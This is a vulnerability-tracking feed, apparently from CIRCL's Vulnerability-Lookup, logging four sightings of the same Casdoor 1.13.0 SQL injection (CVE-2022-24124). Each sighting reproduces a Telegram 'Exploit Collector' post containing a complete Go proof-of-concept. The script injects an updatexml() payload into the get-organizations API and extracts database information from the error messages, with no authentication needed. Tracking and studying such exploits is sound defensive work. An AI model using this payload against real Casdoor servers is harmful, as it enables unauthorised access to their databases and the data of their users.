https://vulnerability.circl.lu/sightings/feed 2026-09-15T11:32:33.571301+00:00 Vulnerability-Lookup info@circl.lu python-feedgen Contains only the most 10 recent sightings. https://vulnerability.circl.lu/sighting/c31b9cc5-6b4f-44b1-8da1-30cc22c7c853/export 2026-09-15T11:32:33.586525+00:00 Automation user https://vulnerability.circl.lu/user/automation {"uuid": "c31b9cc5-6b4f-44b1-8da1-30cc22c7c853", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "GHSA-M358-G4RP-533R", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/44499", "content": "Exploit Collector\nCasdoor 1.13.0 SQL Injection\n\nhttps://3.bp.blogspot.com/-BKQJl1oXbqE/WWlvQjSZMJI/AAAAAAAAINE/UWb7sXt4uvssyXVrWpwrINbeIcIr93_vACLcBGAs/s1600/h33.png \nCasdoor version 1.13.0 suffers from a remote SQL injection vulnerability.\n\nMD5 | 16e19334ce8fca7c8023e6e8c196fd9c\n\nDownload\n// Exploit Title: Casdoor 1.13.0 SQL Injection (Unauthenticated) \n// Date: 2022-02-25\n// Exploit Author: Mayank Deshmukh\n// Vendor Homepage: https://casdoor.org/\n// Software Link: https://github.com/casdoor/casdoor/releases/tag/v1.13.0\n// Version: version < 1.13.1\n// Security Advisory: https://github.com/advisories/GHSA-m358-g4rp-533r\n// Tested on: Kali Linux\n// CVE : CVE-2022-24124\n// Github POC: https://github.com/ColdFusionX/CVE-2022-24124\n\n// Exploit Usage : go run exploit.go -u http://127.0.0.1:8080\n\npackage main\n\nimport (\n\"flag\"\n\"fmt\"\n\"html\"\n\"io/ioutil\"\n\"net/http\"\n\"os\"\n\"regexp\"\n\"strings\"\n)\n\nfunc main() {\nvar url string\nflag.StringVar(&url, \"u\", \"\", \"Casdoor URL (ex. http://127.0.0.1:8080)\")\nflag.Parse()\n\nbanner := `\n-=Casdoor SQL Injection (CVE-2022-24124)=- \n- by Mayank Deshmukh (ColdFusionX)\n\n`\nfmt.Printf(banner)\nfmt.Println(\"[*] Dumping Database Version\")\nresponse, err := http.Get(url + \"/api/get-organizations?p=123&pageSize=123&value=cfx&sortField=&sortOrder=&field=updatexml(null,version(),null)\")\n\nif err != nil {\npanic(err)\n}\n\ndefer response.Body.Close()\n\ndatabytes, err := ioutil.ReadAll(response.Body)\n\nif err != nil {\npanic(err)\n}\n\ncontent := string(databytes)\n\nre := regexp.MustCompile(\"(?i)(XPATH syntax error.*')\")\n\nresult := re.FindAllString(content, -1)\n\nsqliop := fmt.Sprint(result)\nreplacer := strings.NewReplacer(\"[\", \"\", \"]\", \"\", \"'\", \"\", \";\", \"\")\n\nfinalop := replacer.Replace(sqliop)\nfmt.Println(html.UnescapeString(finalop))\nif result == nil {\nfmt.Printf(\"Application not vulnerable\\n\")\nos.Exit(1)\n}\n\n}\n\nSource:packetstormsecurity.com", "creation_timestamp": "2026-09-07T01:00:31.605546Z"} 2026-09-07T01:00:31.605546+00:00 https://vulnerability.circl.lu/sighting/52da570c-9625-4213-b9a3-ff0ee57c38c8/export 2026-09-15T11:32:33.587925+00:00 Automation user https://vulnerability.circl.lu/user/automation {"uuid": "52da570c-9625-4213-b9a3-ff0ee57c38c8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "GHSA-M358-G4RP-533R", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/44499", "content": "Exploit Collector\nCasdoor 1.13.0 SQL Injection\n\nhttps://3.bp.blogspot.com/-BKQJl1oXbqE/WWlvQjSZMJI/AAAAAAAAINE/UWb7sXt4uvssyXVrWpwrINbeIcIr93_vACLcBGAs/s1600/h33.png \nCasdoor version 1.13.0 suffers from a remote SQL injection vulnerability.\n\nMD5 | 16e19334ce8fca7c8023e6e8c196fd9c\n\nDownload\n// Exploit Title: Casdoor 1.13.0 SQL Injection (Unauthenticated) \n// Date: 2022-02-25\n// Exploit Author: Mayank Deshmukh\n// Vendor Homepage: https://casdoor.org/\n// Software Link: https://github.com/casdoor/casdoor/releases/tag/v1.13.0\n// Version: version < 1.13.1\n// Security Advisory: https://github.com/advisories/GHSA-m358-g4rp-533r\n// Tested on: Kali Linux\n// CVE : CVE-2022-24124\n// Github POC: https://github.com/ColdFusionX/CVE-2022-24124\n\n// Exploit Usage : go run exploit.go -u http://127.0.0.1:8080\n\npackage main\n\nimport (\n\"flag\"\n\"fmt\"\n\"html\"\n\"io/ioutil\"\n\"net/http\"\n\"os\"\n\"regexp\"\n\"strings\"\n)\n\nfunc main() {\nvar url string\nflag.StringVar(&url, \"u\", \"\", \"Casdoor URL (ex. http://127.0.0.1:8080)\")\nflag.Parse()\n\nbanner := `\n-=Casdoor SQL Injection (CVE-2022-24124)=- \n- by Mayank Deshmukh (ColdFusionX)\n\n`\nfmt.Printf(banner)\nfmt.Println(\"[*] Dumping Database Version\")\nresponse, err := http.Get(url + \"/api/get-organizations?p=123&pageSize=123&value=cfx&sortField=&sortOrder=&field=updatexml(null,version(),null)\")\n\nif err != nil {\npanic(err)\n}\n\ndefer response.Body.Close()\n\ndatabytes, err := ioutil.ReadAll(response.Body)\n\nif err != nil {\npanic(err)\n}\n\ncontent := string(databytes)\n\nre := regexp.MustCompile(\"(?i)(XPATH syntax error.*')\")\n\nresult := re.FindAllString(content, -1)\n\nsqliop := fmt.Sprint(result)\nreplacer := strings.NewReplacer(\"[\", \"\", \"]\", \"\", \"'\", \"\", \";\", \"\")\n\nfinalop := replacer.Replace(sqliop)\nfmt.Println(html.UnescapeString(finalop))\nif result == nil {\nfmt.Printf(\"Application not vulnerable\\n\")\nos.Exit(1)\n}\n\n}\n\nSource:packetstormsecurity.com", "creation_timestamp": "2026-09-06T07:00:06.108711Z"} 2026-09-06T07:00:06.108711+00:00 https://vulnerability.circl.lu/sighting/19d0a015-9753-438f-a546-427e33cf1929/export 2026-09-15T11:32:33.588023+00:00 Automation user https://vulnerability.circl.lu/user/automation {"uuid": "19d0a015-9753-438f-a546-427e33cf1929", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "GHSA-M358-G4RP-533R", "type": "seen", "source": "https://t.me/hacking_Attack/44499", "content": "Exploit Collector\nCasdoor 1.13.0 SQL Injection\n\nhttps://3.bp.blogspot.com/-BKQJl1oXbqE/WWlvQjSZMJI/AAAAAAAAINE/UWb7sXt4uvssyXVrWpwrINbeIcIr93_vACLcBGAs/s1600/h33.png \nCasdoor version 1.13.0 suffers from a remote SQL injection vulnerability.\n\nMD5 | 16e19334ce8fca7c8023e6e8c196fd9c\n\nDownload\n// Exploit Title: Casdoor 1.13.0 SQL Injection (Unauthenticated) \n// Date: 2022-02-25\n// Exploit Author: Mayank Deshmukh\n// Vendor Homepage: https://casdoor.org/\n// Software Link: https://github.com/casdoor/casdoor/releases/tag/v1.13.0\n// Version: version < 1.13.1\n// Security Advisory: https://github.com/advisories/GHSA-m358-g4rp-533r\n// Tested on: Kali Linux\n// CVE : CVE-2022-24124\n// Github POC: https://github.com/ColdFusionX/CVE-2022-24124\n\n// Exploit Usage : go run exploit.go -u http://127.0.0.1:8080\n\npackage main\n\nimport (\n\"flag\"\n\"fmt\"\n\"html\"\n\"io/ioutil\"\n\"net/http\"\n\"os\"\n\"regexp\"\n\"strings\"\n)\n\nfunc main() {\nvar url string\nflag.StringVar(&url, \"u\", \"\", \"Casdoor URL (ex. http://127.0.0.1:8080)\")\nflag.Parse()\n\nbanner := `\n-=Casdoor SQL Injection (CVE-2022-24124)=- \n- by Mayank Deshmukh (ColdFusionX)\n\n`\nfmt.Printf(banner)\nfmt.Println(\"[*] Dumping Database Version\")\nresponse, err := http.Get(url + \"/api/get-organizations?p=123&pageSize=123&value=cfx&sortField=&sortOrder=&field=updatexml(null,version(),null)\")\n\nif err != nil {\npanic(err)\n}\n\ndefer response.Body.Close()\n\ndatabytes, err := ioutil.ReadAll(response.Body)\n\nif err != nil {\npanic(err)\n}\n\ncontent := string(databytes)\n\nre := regexp.MustCompile(\"(?i)(XPATH syntax error.*')\")\n\nresult := re.FindAllString(content, -1)\n\nsqliop := fmt.Sprint(result)\nreplacer := strings.NewReplacer(\"[\", \"\", \"]\", \"\", \"'\", \"\", \";\", \"\")\n\nfinalop := replacer.Replace(sqliop)\nfmt.Println(html.UnescapeString(finalop))\nif result == nil {\nfmt.Printf(\"Application not vulnerable\\n\")\nos.Exit(1)\n}\n\n}\n\nSource:packetstormsecurity.com", "creation_timestamp": "2026-09-02T01:02:06.788416Z"} 2026-09-02T01:02:06.788416+00:00 https://vulnerability.circl.lu/sighting/d6704ffa-d0d6-4564-8ed4-f45cfd86a62c/export 2026-09-15T11:32:33.588099+00:00 Automation user https://vulnerability.circl.lu/user/automation {"uuid": "d6704ffa-d0d6-4564-8ed4-f45cfd86a62c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "GHSA-M358-G4RP-533R", "type": "seen", "source": "https://t.me/hacking_Attack/44499", "content": "Exploit Collector\nCasdoor 1.13.0 SQL Injection\n\nhttps://3.bp.blogspot.com/-BKQJl1oXbqE/WWlvQjSZMJI/AAAAAAAAINE/UWb7sXt4uvssyXVrWpwrINbeIcIr93_vACLcBGAs/s1600/h33.png \nCasdoor version 1.13.0 suffers from a remote SQL injection vulnerability.\n\nMD5 | 16e19334ce8fca7c8023e6e8c196fd9c\n\nDownload\n// Exploit Title: Casdoor 1.13.0 SQL Injection (Unauthenticated) \n// Date: 2022-02-25\n// Exploit Author: Mayank Deshmukh\n// Vendor Homepage: https://casdoor.org/\n// Software Link: https://github.com/casdoor/casdoor/releases/tag/v1.13.0\n// Version: version < 1.13.1\n// Security Advisory: https://github.com/advisories/GHSA-m358-g4rp-533r\n// Tested on: Kali Linux\n// CVE : CVE-2022-24124\n// Github POC: https://github.com/ColdFusionX/CVE-2022-24124\n\n// Exploit Usage : go run exploit.go -u http://127.0.0.1:8080\n\npackage main\n\nimport (\n\"flag\"\n\"fmt\"\n\"html\"\n\"io/ioutil\"\n\"net/http\"\n\"os\"\n\"regexp\"\n\"strings\"\n)\n\nfunc main() {\nvar url string\nflag.StringVar(&url, \"u\", \"\", \"Casdoor URL (ex. http://127.0.0.1:8080)\")\nflag.Parse()\n\nbanner := `\n-=Casdoor SQL Injection (CVE-2022-24124)=- \n- by Mayank Deshmukh (ColdFusionX)\n\n`\nfmt.Printf(banner)\nfmt.Println(\"[*] Dumping Database Version\")\nresponse, err := http.Get(url + \"/api/get-organizations?p=123&pageSize=123&value=cfx&sortField=&sortOrder=&field=updatexml(null,version(),null)\")\n\nif err != nil {\npanic(err)\n}\n\ndefer response.Body.Close()\n\ndatabytes, err := ioutil.ReadAll(response.Body)\n\nif err != nil {\npanic(err)\n}\n\ncontent := string(databytes)\n\nre := regexp.MustCompile(\"(?i)(XPATH syntax error.*')\")\n\nresult := re.FindAllString(content, -1)\n\nsqliop := fmt.Sprint(result)\nreplacer := strings.NewReplacer(\"[\", \"\", \"]\", \"\", \"'\", \"\", \";\", \"\")\n\nfinalop := replacer.Replace(sqliop)\nfmt.Println(html.UnescapeString(finalop))\nif result == nil {\nfmt.Printf(\"Application not vulnerable\\n\")\nos.Exit(1)\n}\n\n}\n\nSource:packetstormsecurity.com", "creation_timestamp": "2026-09-01T20:01:53.138567Z"} 2026-09-01T20:01:53.138567+00:00